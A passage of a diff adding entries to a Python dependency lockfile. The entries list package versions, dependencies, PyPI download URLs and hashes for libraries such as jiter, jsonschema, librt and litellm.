+ { url = "https://files.pythonhosted.org/packages/cd/97/a4369f2fb82cb3dda13b98622f31249b2e014b223fe64ee534413ad72294/jiter-0.16.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e2e9efbe042210df657bade597f66d6d75723e3d8f45a12ea6d8167ff8bbce3", size = 361747, upload-time = "2026-06-29T13:04:22.677Z" },
+ { url = "https://files.pythonhosted.org/packages/28/51/49b6ed456261646e1906016a6760367a28aacd3c24805e4e5fe64116c1db/jiter-0.16.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f4d9e473a5ce7d27fef8b848df4dc16e283893d3f53b4a585e72c9595f3c284", size = 460225, upload-time = "2026-06-29T13:04:24.441Z" },
+ { url = "https://files.pythonhosted.org/packages/33/b5/5689aff4f66c5b60be63106e591dbfcba2190df97d2c9c7cf052361ddb98/jiter-0.16.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d30a4a1c87713060c8d1cc59a7b6c8fb6b8ef0a6900368014c76c87922a2929", size = 373169, upload-time = "2026-06-29T13:04:25.884Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/96/3ae1b85ee0d6d6cab254fb7f8da018272b932bbf2d69b07e98aa2a96c746/jiter-0.16.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae96332410f866e5900d809298b1ed82735932986c672495f9701daacd80620", size = 350332, upload-time = "2026-06-29T13:04:27.302Z" },
+ { url = "https://files.pythonhosted.org/packages/15/32/c99d7bafd78986556c95bf60ce84c6cc98786eac56066c12d7f828bb6747/jiter-0.16.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:da3d7ec75dc83bb18bca888b5edfae0656a26849056c59e05a7728badd17e7af", size = 353377, upload-time = "2026-06-29T13:04:28.731Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/4b/f99a8e571287c3dec766bcc18528bbe8e8fb5365522ab5e6d64c93e87066/jiter-0.16.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ee6162b77d49a9939229df666dfa8af3e656b6701b54c4c84966d740e189264e", size = 387746, upload-time = "2026-06-29T13:04:30.319Z" },
+ { url = "https://files.pythonhosted.org/packages/75/69/c78a5b3f71040e34eb5917df26fb7ae9a2174cad1ccbf277512507c53a6e/jiter-0.16.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:63ffdbdae7d4499f4cda14eadc12ddcabef0fc0c081191bdc2247489cb698077", size = 517292, upload-time = "2026-06-29T13:04:31.709Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/f7/095b38eda4c70d03651c403f29a5590f16d12ddc5d544aac9f9cddf72277/jiter-0.16.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a111256a7193bea0759267b10385e5870949c239ed7b6ddbaaf57573edb38734", size = 549259, upload-time = "2026-06-29T13:04:33.721Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/c5/6a0207d90e5f656d95af98ebd0934f382d37674416f215aeda2ff8063e51/jiter-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:de5ba8763e56b793561f43bed197c9ea55776daa5e9a6b91eed68a909bc9cdbf", size = 206523, upload-time = "2026-06-29T13:04:35.068Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/31/c757d5f30a8980fd945ce7b98be10be9e4ff59c7c42f5fd86804c2e87db8/jiter-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b8a3f9a6008048fe9def7bf465180564a6e458047d2ce499149cfbe73c3ae9db", size = 200366, upload-time = "2026-06-29T13:04:36.61Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/a2/d88de6d313d734a544a7901353ad5db67cb38dcfcd91713b7979dafc345d/jiter-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0fa25b09b13075c46f5bc174f2690525a925a4fc2f7c82969a2bbabff22386ce", size = 190516, upload-time = "2026-06-29T13:04:38.004Z" },
+ { url = "https://files.pythonhosted.org/packages/98/ab/664fd8c4be028b2bedd3d2ff08769c4ede23d0dbc87a77c62384a0515b5d/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:f17d61a28b4b3e0e3e2ba98490c70501403b4d196f78732439160e7fd3678127", size = 303106, upload-time = "2026-06-29T13:05:07.118Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/07/421f1d5b65493a76e16027b848aba6a7d28073ae75944fa4289cc914d39f/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:96e38eea538c8ddf853a35727c7be0741c76c13f04148ac5c116222f50ece3b3", size = 304658, upload-time = "2026-06-29T13:05:08.708Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/db/bba1155f01a01c3c37a89425d571da751bbedf5c54247b831a04cb971798/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d284fb8d94d5855d60c44fefcab4bf966f1da6fada73992b01f6f0c9bc0c6702", size = 339719, upload-time = "2026-06-29T13:05:10.41Z" },
+ { url = "https://files.pythonhosted.org/packages/78/f7/18a1afcd64f35314b68c1f23afcd9994d0bc13e65cc77517afff4e83986d/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d613743df53199b1aa256a7d328340da6d7078aac7705a7db9d7a791e9cfd2", size = 343885, upload-time = "2026-06-29T13:05:12.087Z" },
+]
+
+[[package]]
+name = "jsonschema"
+version = "4.26.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+ { name = "jsonschema-specifications" },
+ { name = "referencing" },
+ { name = "rpds-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size = 366583, upload-time = "2026-01-07T13:41:07.246Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", size = 90630, upload-time = "2026-01-07T13:41:05.306Z" },
+]
+
+[[package]]
+name = "jsonschema-specifications"
+version = "2025.9.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "referencing" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" },
+]
+
+[[package]]
+name = "librt"
+version = "0.11.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/40/08/9e7f6b5d2b5bed6ad055cdd5925f192bb403a51280f86b56554d9d0699a2/librt-0.11.0.tar.gz", hash = "sha256:075dc3ef4458a278e0195cbf6ac9d38808d9b906c5a6c7f7f79c3888276a3fb1", size = 200139, upload-time = "2026-05-10T18:17:25.138Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8b/d0/07c77e067f0838949b43bd89232c29d72efebb9d2801a9750184eb706b71/librt-0.11.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b87504f1690a23b9a2cca841191a04f83895d4fc2dd04df91d82b1a04ca2ad46", size = 144147, upload-time = "2026-05-10T18:15:53.227Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/24/8493538fa4f62f982686398a5b8f68008138a75086abdea19ade64bf4255/librt-0.11.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40071fc5fe0ce8daa6de616702314a01e1250711682b0523d6ab8d4525910cb3", size = 143614, upload-time = "2026-05-10T18:15:54.657Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/1e/f8bad050810d9171f34a1648ed910e56814c2ba61639f2bd53c6377ae24b/librt-0.11.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:137e79445c896a0ea7b265f52d23954e05b64222ee1af69e2cb34219067cbb67", size = 485538, upload-time = "2026-05-10T18:15:56.117Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/fe/3594ebfbaf03084ba4b120c9ba5c3183fd938a48725e9bbe6ff0a5159ad8/librt-0.11.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:cca6644054e78746d8d4ef238681f9c34ff8b584fe6b988ecebb8db3b15e622a", size = 479623, upload-time = "2026-05-10T18:15:57.544Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/da/5d1876984b3746c85dbd219dbfcb73c85f54ee263fd32e5b2a632ec14571/librt-0.11.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5b0eea49f5562861ee8d757a32ef7d559c1d35be2aaaa1ec28941d74c9ffc8a", size = 513082, upload-time = "2026-05-10T18:15:58.805Z" },
+ { url = "https://files.pythonhosted.org/packages/19/6e/55bdf5d5ca00c3e18430690bf2c953d8d3ffd3c337418173d33dec985dc9/librt-0.11.0-cp312-cp312-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0d1029d7e1ae1a7e647ed6fb5df8c4ce2dffefb7a9f5fd1376a4554d96dac09f", size = 508105, upload-time = "2026-05-10T18:16:00.2Z" },
+ { url = "https://files.pythonhosted.org/packages/07/10/f1f23a7c595ee90ece4d35c851e5d104b1311a887ed1b4ac4c35bbd13da8/librt-0.11.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bc3ce6b33c5828d9e80592011a5c584cb2ce86edbc4088405f70da47dc1d1b3b", size = 522268, upload-time = "2026-05-10T18:16:01.708Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/02/5720f5697a7f54b78b3aefbe20df3a48cedcff1276618c4aa481177942ed/librt-0.11.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:936c5995f3514a42111f20099397d8177c79b4d7e70961e396c6f5a0a3566766", size = 527348, upload-time = "2026-05-10T18:16:03.496Z" },
+ { url = "https://files.pythonhosted.org/packages/50/db/b4a47c6f91db4ff76348a0b3dd0cc65e090a078b765a810a62ff9434c3d3/librt-0.11.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:9bc0ca6ad9381cbe8e4aa6e5726e4c80c78115a6e9723c599ed1d73e092bc49d", size = 516294, upload-time = "2026-05-10T18:16:05.173Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/58/9384b2f4eb1ed1d273d40948a7c5c4b2360213b402ef3be4641c06299f9c/librt-0.11.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:070aa8c26c0a74774317a72df8851facc7f0f012a5b406557ac56992d92e1ec8", size = 553608, upload-time = "2026-05-10T18:16:06.839Z" },
+ { url = "https://files.pythonhosted.org/packages/21/7b/5aa8848a7c6a9278c79375146da1812e695754ceec5f005e6043461a7315/librt-0.11.0-cp312-cp312-win32.whl", hash = "sha256:6bf14feb84b05ae945277395451998c89c54d0def4070eb5c08de544930b245a", size = 101879, upload-time = "2026-05-10T18:16:08.103Z" },
+ { url = "https://files.pythonhosted.org/packages/37/33/8a745436944947575b584231750a41417de1a38cf6a2e9251d1065651c09/librt-0.11.0-cp312-cp312-win_amd64.whl", hash = "sha256:75672f0bc524ede266287d532d7923dbce94c7514ad07627bac3d0c6d92cc4d9", size = 119831, upload-time = "2026-05-10T18:16:09.174Z" },
+ { url = "https://files.pythonhosted.org/packages/59/67/a6739ac96e28b7855808bdb0370e250606104a859750d209e5a0716fe7ab/librt-0.11.0-cp312-cp312-win_arm64.whl", hash = "sha256:2f10cf143e4a9bb0f4f5af568a00df94a2d69ef41c2579584454bb0fe5cc642c", size = 103470, upload-time = "2026-05-10T18:16:10.369Z" },
+ { url = "https://files.pythonhosted.org/packages/82/61/e59168d4d0bf2bf90f4f0caf7a001bfc60254c3af4586013b04dc3ef517b/librt-0.11.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:78dc31f7fdfe9c9d0eb0e8f42d139db230e826415bbcabd9f0e9faaaee909894", size = 144119, upload-time = "2026-05-10T18:16:11.771Z" },
+ { url = "https://files.pythonhosted.org/packages/61/fd/caa1d60b12f7dd79ccea23054e06eeaebe266a5f52c40a6b651069200ce5/librt-0.11.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fa475675db22290c3158e1d42326d0f5a65f04f44a0e68c3630a25b53560fb9c", size = 143565, upload-time = "2026-05-10T18:16:13.334Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/a9/dc744f5c2b4978d48db970be29f22716d3413d28b14ad99740817315cf2c/librt-0.11.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:621db29691044bdeda22e789e482e1b0f3a985d90e3426c9c6d17606416205ea", size = 485395, upload-time = "2026-05-10T18:16:14.729Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/21/7f8e97a1e4dae952a5a95948f6f8507a173bc1e669f54340bba6ca1ca31b/librt-0.11.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:a9010e2ed5b3a9e158c5fd966b3ab7e834bb3d3aacc8f66c91dd4b57a3799230", size = 479383, upload-time = "2026-05-10T18:16:16.321Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/6d/d8ee9c114bebf2c50e29ec2aa940826fccb62a645c3e4c18760987d0e16d/librt-0.11.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7c39513d8b7477a2e1ed8c43fc21c524e8d5a0f8d4e8b7b074dbdbe7820a08e2", size = 513010, upload-time = "2026-05-10T18:16:17.647Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/43/0b5708af2bd30a46400e72ba6bdaa8f066f15fb9a688527e34220e8d6c06/librt-0.11.0-cp313-cp313-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7aef3cf1d5af86e770ab04bfd993dfc4ae8b8c17f66fb77dd4a7d50de7bbb1a3", size = 508433, upload-time = "2026-05-10T18:16:19.309Z" },
+ { url = "https://files.pythonhosted.org/packages/4a/50/356187247d09013490481033183b3532b58acf8028bcb34b2b56a375c9b2/librt-0.11.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:557183ddc36babe46b27dd60facbd5adb4492181a5be887587d57cda6e092f21", size = 522595, upload-time = "2026-05-10T18:16:20.642Z" },
+ { url = "https://files.pythonhosted.org/packages/40/e7/c6ac4240899c7f3248079d5a9900debe0dadb3fdeaf856684c987105ba47/librt-0.11.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:83d3e1f72bd42f6c5c0b7daec530c3f829bd02db42c70b8ddf0c2d90a2459930", size = 527255, upload-time = "2026-05-10T18:16:22.352Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/b5/a81322dbeedeeaf9c1ee6f001734d28a09d8383ac9e6779bc24bbd0743c6/librt-0.11.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:4ce1f21fbe589bc1afd7872dece84fb0e1144f794a288e58a10d2c54a55c43be", size = 516847, upload-time = "2026-05-10T18:16:23.627Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/66/6e6323787d592b55204a42595ff1102da5115601b53a7e9ddebc889a6da5/librt-0.11.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:970b09f7044ea2b64c9da42fd3d335666518cfd1c6e8a182c95da73d0214b41e", size = 553920, upload-time = "2026-05-10T18:16:25.025Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/21/623f8ca230857102066d9ca8c6c1734995908c4d0d1bee7bb2ef0021cb33/librt-0.11.0-cp313-cp313-win32.whl", hash = "sha256:78fddc31cd4d3caa897ad5d31f856b1faadc9474021ad6cb182b9018793e254e", size = 101898, upload-time = "2026-05-10T18:16:26.649Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/1d/b4ebd44dd723f768469007515cb92251e0ae286c94c140f374801140fa74/librt-0.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:8ca8aa88751a775870b764e93bad5135385f563cb8dcee399abf034ea4d3cb47", size = 119812, upload-time = "2026-05-10T18:16:27.859Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/e4/b2f4ca7965ca373b491cdb4bc25cdb30c1649ca81a8782056a83850292a9/librt-0.11.0-cp313-cp313-win_arm64.whl", hash = "sha256:96f044bb325fd9cf1a723015638c219e9143f0dfbc0ca54c565df2b7fc748b44", size = 103448, upload-time = "2026-05-10T18:16:29.066Z" },
+ { url = "https://files.pythonhosted.org/packages/29/eb/dbce197da4e227779e56b5735f2decc3eb36e55a1cdbf1bd65d6639d76c1/librt-0.11.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4a017a95e5837dc15a8c5661d60e05daa96b90908b1aa6b7acdf443cd25c8ebd", size = 143345, upload-time = "2026-05-10T18:16:30.674Z" },
+ { url = "https://files.pythonhosted.org/packages/76/a3/254bebd0c11c8ba684018efb8006ff22e466abce445215cca6c778e7d9de/librt-0.11.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b1ecbd9819deccc39b7542bf4d2a740d8a620694d39989e58661d3763458f8d4", size = 143131, upload-time = "2026-05-10T18:16:32.037Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/3f/f77d6122d21ac7bf6ae8a7dfced1bd2a7ac545d3273ebdcaf8042f6d619f/librt-0.11.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7da327dacd7be8f8ec36547373550744a3cc0e536d54665cd83f8bcd961200e8", size = 477024, upload-time = "2026-05-10T18:16:33.493Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/0a/2c996dadebaa7d9bbbd43ef2d4f3e66b6da545f838a41694ef6172cebec8/librt-0.11.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:0dc56b1f8d06e60db362cc3fdae206681817f86ce4725d34511473487f12a34b", size = 474221, upload-time = "2026-05-10T18:16:34.864Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/7e/f5d92af8486b8272c23b3e686b46ff72d89c8169585eb61eef01a2ac7147/librt-0.11.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:05fb8fb2ab90e21c8d12ea240d744ad514da9baf381ebfa70d91d20d21713175", size = 505174, upload-time = "2026-05-10T18:16:36.705Z" },
+ { url = "https://files.pythonhosted.org/packages/af/1a/cb0734fe86398eb33193ab753b7326255c74cac5eb09e76b9b16536e7adb/librt-0.11.0-cp314-cp314-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cae74872be221df4374d10fec61f93ed1513b9546ea84f2c0bf73ab3e9bd0b03", size = 497216, upload-time = "2026-05-10T18:16:38.418Z" },
+ { url = "https://files.pythonhosted.org/packages/18/06/094820f91558b66e29943c0ec41c9914f460f48dd51fc503c3101e10842d/librt-0.11.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32bcc918c0148eb7e3d57385125bac7e5f9e4359d05f07448b09f6f778c2f31c", size = 513921, upload-time = "2026-05-10T18:16:39.848Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/c2/00de9018871a282f530cacb457d5ec0428f6ac7e6fedde9aff7468d9fb04/librt-0.11.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:f9743fc99135d5f78d2454435615f6dec0473ca507c26ce9d92b10b562a280d3", size = 520850, upload-time = "2026-05-10T18:16:41.471Z" },
+ { url = "https://files.pythonhosted.org/packages/51/9d/64631832348fd1834fb3a61b996434edddaaf25a31d03b0a76273159d2cf/librt-0.11.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:5ba067f4aadae8fda802d91d2124c90c42195ff32d9161d3549e6d05cfe26f96", size = 504237, upload-time = "2026-05-10T18:16:43.15Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/ec/ae5525eb16edc827a044e7bb8777a455ff95d4bca9379e7e6bddd7383647/librt-0.11.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:de3bf945454d032f9e390b85c4072e0a0570bf825421c8be0e71209fa65e1abe", size = 546261, upload-time = "2026-05-10T18:16:44.408Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/09/adce371f27ca039411da9659f7430fcc2ba6cd0c7b3e4467a0f091be7fa9/librt-0.11.0-cp314-cp314-win32.whl", hash = "sha256:d2277a05f6dcb9fd13db9566aac4fabd68c3ea1ea46ee5567d4eef8efa495a2f", size = 96965, upload-time = "2026-05-10T18:16:46.039Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/ee/8ac720d98548f173c7ce2e632a7ca94673f74cacd5c8162a84af5b35958a/librt-0.11.0-cp314-cp314-win_amd64.whl", hash = "sha256:ab73e8db5e3f564d812c1f5c3a175930a5f9bc96ccb5e3b22a34d7858b401cf7", size = 115151, upload-time = "2026-05-10T18:16:47.133Z" },
+ { url = "https://files.pythonhosted.org/packages/94/20/c900cf14efeb09b6bef2b2dff20779f73464b97fd58d1c6bccc379588ae3/librt-0.11.0-cp314-cp314-win_arm64.whl", hash = "sha256:aea3caa317752e3a466fa8af45d91ee0ea8c7fdd96e42b0a8dd9b76a7931eba1", size = 98850, upload-time = "2026-05-10T18:16:48.597Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/71/944bfe4b64e12abffcd3c15e1cce07f72f3d55655083786285f4dedeb532/librt-0.11.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:d1b36540d7aaf9b9101b3a6f376c8d8e9f7a9aec93ed05918f2c69d493ffef72", size = 151138, upload-time = "2026-05-10T18:16:49.839Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/10/99e64a5c86989357fda078c8143c533389585f6473b7439172dd8f3b3b2d/librt-0.11.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:efbb343ab2ce3540f4ecbe6315d677ed70f37cd9a72b1e58066c918ca83acbaa", size = 151976, upload-time = "2026-05-10T18:16:51.062Z" },
+ { url = "https://files.pythonhosted.org/packages/21/31/5072ad880946d83e5ea4147d6d018c78eefce85b77819b19bdd0ee229435/librt-0.11.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa0dd688aab3f7914d3e6e5e3554978e0383312fb8e771d84be008a35b9ee548", size = 557927, upload-time = "2026-05-10T18:16:52.632Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/8d/70b5fb7cfbab60edbe7381614ab985da58e144fbf465c86d44c95f43cdca/librt-0.11.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:f5fb36b8c6c63fdcbb1d526d94c0d1331610d43f4118cc1beb4efef4f3faacb2", size = 539698, upload-time = "2026-05-10T18:16:53.934Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/a3/ba3495a0b3edbd24a4cae0d1d3c64f39a9fc45d06e812101289b50c1a619/librt-0.11.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4a9a237d13addb93715b6fee74023d5ee3469b53fce527626c0e088aa585805f", size = 577162, upload-time = "2026-05-10T18:16:55.589Z" },
+ { url = "https://files.pythonhosted.org/packages/f7/db/36e25fb81f99937ff1b96612a1dc9fd66f039cb9cc3aee12c01fac31aab9/librt-0.11.0-cp314-cp314t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5ddd17bd87b2c56ddd60e546a7984a2e64c4e8eab92fb4cf3830a48ad5469d51", size = 566494, upload-time = "2026-05-10T18:16:56.975Z" },
+ { url = "https://files.pythonhosted.org/packages/33/0d/3f622b47f0b013eeb9cf4cc07ae9bfe378d832a4eec998b2b209fe84244d/librt-0.11.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bd43992b4473d42f12ff9e68326079f0696d9d4e6000e8f39a0238d482ba6ee2", size = 596858, upload-time = "2026-05-10T18:16:58.374Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/02/71b90bc93039c46a2000651f6ad60122b114c8f54c4ad306e0e96f5b75ad/librt-0.11.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:f8e3e8056dd674e279741485e2e512d6e9a751c7455809d0114e6ebf8d781085", size = 590318, upload-time = "2026-05-10T18:16:59.676Z" },
+ { url = "https://files.pythonhosted.org/packages/04/04/418cb3f75621e2b761fb1ab0f017f4d70a1a72a6e7c74ee4f7e8d198c2f3/librt-0.11.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:c1f708d8ae9c56cf38a903c44297243d2ec83fd82b396b977e0144a3e76217e3", size = 575115, upload-time = "2026-05-10T18:17:01.007Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/2c/5a2183ac58dd911f26b5d7e7d7d8f1d87fcecdddd99d6c12169a258ff62c/librt-0.11.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0add982e0e7b9fc14cf4b33789d5f13f66581889b88c2f58099f6ce8f92617bd", size = 617918, upload-time = "2026-05-10T18:17:02.682Z" },
+ { url = "https://files.pythonhosted.org/packages/15/1f/dc6771a52592a4451be6effa200cbfc9cec61e4393d3033d81a9d307961d/librt-0.11.0-cp314-cp314t-win32.whl", hash = "sha256:2b481d846ac894c4e8403c5fd0e87c5d11d6499e404b474602508a224ff531c8", size = 103562, upload-time = "2026-05-10T18:17:03.99Z" },
+ { url = "https://files.pythonhosted.org/packages/62/4a/7d1415567027286a75ba1093ec4aca11f073e0f559c530cf3e0a757ad55c/librt-0.11.0-cp314-cp314t-win_amd64.whl", hash = "sha256:28edb433edde181112a908c78907af28f964eabc15f4dd16c9d66c834302677c", size = 124327, upload-time = "2026-05-10T18:17:05.465Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/62/b40b382fa0c66fee1478073eb8db352a4a6beda4a1adccf1df911d8c289c/librt-0.11.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dee008f20b542e3cd162ba338a7f9ec0f6d23d395f66fe8aeeec3c9d067ea253", size = 102572, upload-time = "2026-05-10T18:17:06.809Z" },
+]
+
+[[package]]
+name = "linkify-it-py"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "uc-micro-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/2e/c9/06ea13676ef354f0af6169587ae292d3e2406e212876a413bf9eece4eb23/linkify_it_py-2.1.0.tar.gz", hash = "sha256:43360231720999c10e9328dc3691160e27a718e280673d444c38d7d3aaa3b98b", size = 29158, upload-time = "2026-03-01T07:48:47.683Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b4/de/88b3be5c31b22333b3ca2f6ff1de4e863d8fe45aaea7485f591970ec1d3e/linkify_it_py-2.1.0-py3-none-any.whl", hash = "sha256:0d252c1594ecba2ecedc444053db5d3a9b7ec1b0dd929c8f1d74dce89f86c05e", size = 19878, upload-time = "2026-03-01T07:48:46.098Z" },
+]
+
+[[package]]
+name = "litellm"
+version = "1.90.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "aiohttp" },
+ { name = "click" },
+ { name = "fastuuid" },
+ { name = "httpx" },
+ { name = "importlib-metadata" },
+ { name = "jinja2" },
+ { name = "jsonschema" },
+ { name = "openai" },
+ { name = "pydantic" },
+ { name = "python-dotenv" },
+ { name = "tiktoken" },
+ { name = "tokenizers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/36/1e/b079ec9b840bac7573c33fa06c075414616c19ac0adde06ec4cb694cbc9f/litellm-1.90.1.tar.gz", hash = "sha256:a0c79d9efa1dbc031371348540466240216c898c68687d4c2de1343ca3ac3dd0", size = 14818439, upload-time = "2026-06-30T01:43:41.558Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d0/86/86063e003e0ca31f8304a5ba808d51d91b959512b33b6cab5e0c55e936e8/litellm-1.90.1-py3-none-any.whl", hash = "sha256:d90482c7f3a7dfa3f4d88b255cb4e1e60793d7452efcc0fe461a719df52c283e", size = 16611651, upload-time = "2026-06-30T01:43:38.154Z" },
+]
+
+[[package]]
+name = "macholib"
+version = "1.16.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "altgraph" },
+]
